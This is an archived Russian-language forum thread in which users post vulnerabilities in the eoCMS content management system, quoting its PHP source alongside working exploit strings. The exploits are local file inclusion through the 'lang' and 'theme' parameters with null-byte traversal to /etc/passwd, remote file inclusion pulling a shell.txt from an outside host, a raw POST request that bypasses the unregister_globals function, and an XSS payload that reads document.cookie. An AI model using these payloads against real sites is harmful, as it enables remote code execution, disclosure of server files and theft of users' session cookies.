Просмотр полной версии : Уязвимости eoCMS
HAXTA4OK
13.10.2009, 20:25
Офф сайт: _http://eocms.com/
LFI
В файле Index.php
if(defined('COOKIE_LANG'))
$lang_path = COOKIE_LANG;
if(isset($settings['site_lang']))
$lang_path = $settings['site_lang'];
if(isset($user['lang']))
$lang_path = $user['lang'];
if(isset($_GET['lang']))
$lang_path = $_GET['lang'];
if(!isset($lang_path))
$lang_path = 'en';
# include actual language files
include_once(IN_PATH.'language/' . $lang_path . '/' . $lang_file);
include_once(IN_PATH.'language/' . $lang_path . '/functions.php');
include_once(IN_PATH.'language/' . $lang_path . '/panel.php');
_http://eocms.com/index.php?lang='
ЗЫ да со скулями поторопился
...слушай, а ты пробовал использовать те дыры что нашел? и в какой версии eoCMS ты их нашел? так как сообщение было написано вчера, то я думаю, что это была версия v0.9.01. а если я прав то как бы вот кусок кода из framewok.php (он инклудится в самом начале index.php) /************************
** Clean superglobals **
************************/
function Sanitize($data_to_sanitize) {
if (get_magic_quotes_gpc())
$data_to_sanitize = stripslashes($data_to_sanitize);
$data_to_sanitize = htmlspecialchars($data_to_sanitize, ENT_QUOTES);
$data_to_sanitize = addslashes($data_to_sanitize);
return $data_to_sanitize;
}
function Sanitize_Array($value) {
$value = is_array($value) ? array_map('Sanitize_Array', $value) : Sanitize($value);
return $value;
}
$_POST = array_map('Sanitize_Array', $_POST);
$_GET = array_map('Sanitize_Array', $_GET);
$_COOKIE = array_map('Sanitize_Array', $_COOKIE);
$_REQUEST = array_map('Sanitize_Array', $_REQUEST);
$_SERVER = array_map('Sanitize_Array', $_SERVER);
$_FILES = array_map('Sanitize_Array', $_FILES);
HAXTA4OK
14.10.2009, 20:18
где именно? там максимум чего можно добиться через то, что ты выложил- это Full Path Disclosure (раскрытие путей)
ну извени если там null- byte не канает и для тебя ошибка
Warning: include_once() [function.include]: Failed opening '/home/garbages/public_html/eocms.com/language/jhgj\0//Pages.php' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/garbages/public_html/eocms.com/index.php on line 118
это тока раскрытие путей тогда я не знаю.....
PS то что выкладывал скули , они есть но вот реализовать их либо тяжело .либо ни как, пока не пытался :)
Remote File Inclusion
Требования: register_globals = on
Файл: js/bbcodepress/bbcode-form.php
include_once($BBCODE_path . 'bbcodepress/bbcodepress-lite.php');
www.example.com/js/bbcodepress/bbcode-form.php?BBCODE_path=http://www.site.com/shell.txt?
Вот ещё чуть:
---------------------------------------
Бага: обход unregister_globals и раскрытие пути
Условия: register_globals = ON
>> framework.php
function unregister_globals(){
#checks if register globals is on
if (!ini_get('register_globals')){
return false;
}
foreach (func_get_args() as $name){
foreach ($GLOBALS[$name] as $key=>$value){
if (isset($GLOBALS[$key])) {
unset($GLOBALS[$key]);
}
}
}
}
unregister_globals('_POST', '_GET', '_COOKIE', '_REQUEST', '_SERVER', '_ENV', '_FILES', '_SESSION');
В результате все перменные посланные данными методами удаляются из GLOBALS;
Но если сделать запрос:
POST /index.php?antichat=test HTTP/1.1
Host: eocms
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
_GET=this del&_REQUEST=this del
Функция unregister_globals сначало удалит, масив _GET, потом _REQUEST, а переменная antichat будет жить)
-------------------------------
Бага: LFI
Условия: magic_quites = Off
>> framework.php
if(isset($_GET['theme']) && file_exists('themes/'.$_GET['theme'].'/theme-info.php'))
$settings['site_theme'] = $_GET['theme'];
~~~~~~~~~~~~~~~~~~~~
function theme() {
global $user, $settings;
$arg = func_get_args();
$num = func_num_args();
if(file_exists('themes/' . $settings['site_theme'] . '/functions/'.$arg[0].'.php'))
include_once IN_PATH.'themes/' . $settings['site_theme'] . '/functions/'.$arg[0].'.php';
Этот код выполняется до того как переменные обрабатываются через addslashes
exploit:
http://eocms/index.php?theme=../../../../../../../etc/passwd%00
------------------------------
Бага: XSS
Условия: register_globals = ON
exploit:
POST /index.php?error_die[0]=%3Cscript%3Ealert(document.cookie)%3C/script%3E HTTP/1.1
Host: eocms
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
_GET=this del&_REQUEST=this del
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot